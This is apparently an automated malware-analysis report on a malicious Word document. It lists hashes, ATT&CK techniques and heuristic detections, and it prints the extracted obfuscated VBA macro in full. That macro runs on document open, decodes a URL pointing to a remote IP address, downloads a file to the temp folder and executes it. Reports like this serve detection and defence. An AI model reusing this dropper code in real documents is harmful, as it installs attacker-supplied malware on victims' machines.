Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d3e9d525ecb8b9ee…

MALICIOUS

Office (OLE)

125.0 KB Created: 2018-10-16 04:19:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 403e47ee1532810b20c05977b2770a98 SHA-1: fa8f89bc0752b689f169f794f3ac84043308b5a3 SHA-256: d3e9d525ecb8b9ee2b4107599a04de50dd3e70df8e93d529f47f3f791e714013
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is configured to execute upon opening, and it uses 'CreateObject' to download and save a file from an embedded URL. The document body explicitly instructs the user to 'Enable content' to view the document, which is a common social engineering tactic to bypass macro security. The VBA code appears to be obfuscated, but the critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' confirms the download and execution behavior.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    ¡¬©³¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾ = ³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³¿²´¼.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³¿²´¼ = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³ = Environ("tmp") + ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤®§¤¦²»¼¦¥°¾³ª¡¬©³¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³("\Ú§MWRNT¥.ÂÛÂ")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9005 bytes
SHA-256: e443b71f9b13bdd79ad93eb8f3621d2a2022d6dc48ac92d75a060867a50765ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Public Function ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤®§¤¦²»¼¦¥°¾³ª¡¬©³¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³(·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶)
        ¿²´¼º¡¸¨¨¸½ª·¬¶ª°¿°·´¾´®¸¾®¿¨²º¿¿©µ²¬«¹¼§£©º·¸·º°µ¹¬´´½·¹´¬µ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
        ®§¤¦²»¼¦¥°¾³ª¡¬©³¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶)
            ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³¿²´¼º¡¸¨¨¸ = InStr(¿²´¼º¡¸¨¨¸½ª·¬¶ª°¿°·´¾´®¸¾®¿¨²º¿¿©µ²¬«¹¼§£©º·¸·º°µ¹¬´´½·¹´¬µ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤, Mid(·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶, i, 1))
            If ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³¿²´¼º¡¸¨¨¸ > 0 Then
                ½ª·¬¶ª°¿°·´¾´®¸¾®¿¨²º¿¿©µ²¬«¹¼§£©º·¸·º°µ¹¬´´½·¹´¬µ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤®§¤¦²»¼¦¥°¾³ª¡¬©³ = Mid(®§¤¦²»¼¦¥°¾³ª¡¬©³¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢, ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³¿²´¼º¡¸¨¨¸, 1)
                ¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³ = ¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³ + ½ª·¬¶ª°¿°·´¾´®¸¾®¿¨²º¿¿©µ²¬«¹¼§£©º·¸·º°µ¹¬´´½·¹´¬µ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤®§¤¦²»¼¦¥°¾³ª¡¬©³
            Else
                ¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³ = ¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³ + Mid(·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶, i, 1)
            End If
        Next
        ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤®§¤¦²»¼¦¥°¾³ª¡¬©³¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³ = ¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³
    End Function

Private Sub Document_Open()
Dim ³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³¿²´¼
Set ³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³¿²´¼ = CreateObject("microsoft.xmlhttp")
Dim ¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³
Dim «¬»´«²¹®·®¹»¤«¬¾¦§¶«³·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³
Set «¬»´«²¹®·®¹»¤«¬¾¦§¶«³·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³ = CreateObject("Shell.Application")

¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³ = Environ("tmp") + ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤®§¤¦²»¼¦¥°¾³ª¡¬©³¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³("\Ú§MWRNT¥.ÂÛÂ")
³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³¿²´¼.Open "GET", ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤®§¤¦²»¼¦¥°¾³ª¡¬©³¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³("hÖÖÓ://²00.6³.45.1²9/bÀÕkÂÖ/lÒk_ÒÙÖÓÙÖ²á776F0.ÂÛÂ"), False
³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³¿²´¼.send
¡¬©³¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾ = ³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³¿²´¼.responseBody
If ³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³¿²´¼.Status = 200 Then
Set ¾®¿¨²º¿¿©µ²¬«¹¼§£©º·¸·º°µ¹¬´´½·¹´¬µ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤®§¤¦²»¼¦¥°¾³ª¡¬©³¸²«®®¯«º = CreateObject("adodb.stream")
¾®¿¨²º¿¿©µ²¬«¹¼§£©º·¸·º°µ¹¬´´½·¹´¬µ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤®§¤¦²»¼¦¥°¾³ª¡¬©³¸²«®®¯«º.Open
¾®¿¨²º¿¿©µ²¬«¹¼§£©º·¸·º°µ¹¬´´½·¹´¬µ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤®§¤¦²»¼¦¥°¾³ª¡¬©³¸²«®®¯«º.Type = 1
¾®¿¨²º¿¿©µ²¬«¹¼§£©º·¸·º°µ¹¬´´½·¹´¬µ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤®§¤¦²»¼¦¥°¾³ª¡¬©³¸²«®®¯«º.Write ¡¬©³¸²«®®¯«º·»£½µ¾¯¬½£¾³§ª¾¥ª¿§¢«¬»´«²¹®·®¹»¤«¬¾¦§¶«³·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾
¾®¿¨²º¿¿©µ²¬«¹¼§£©º·¸·º°µ¹¬´´½·¹´¬µ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤®§¤¦²»¼¦¥°¾³ª¡¬©³¸²«®®¯«º.SaveToFile ¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³, 2
¾®¿¨²º¿¿©µ²¬«¹¼§£©º·¸·º°µ¹¬´´½·¹´¬µ¨©»µ¯»¶½«º¹²²®¨¡¯£¿¡º¯º¸µ¿¾¤®§¤¦²»¼¦¥°¾³ª¡¬©³¸²«®®¯«º.Close
End If
«¬»´«²¹®·®¹»¤«¬¾¦§¶«³·´»½©´µº¯½¡¹«°¼¹³©¤¤¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³.Open (¥¢ª¯ª¸¿¾§¤£¨·¯¼³¨§µ©¦³¸ª¢©½¢¼»£¯¤¬ª¶ª£§µ³¯¢¼¸¶¼¨°½¶»¥¨¹º¢»¾¬¼°¶¶µ¸©¥¡®¦¦´¶·³®¥©¼²³)


End Sub

Attribute VB_Name = "NewMacros"
Sub breakeable()
'
' breakeable Macro
'
'

End Sub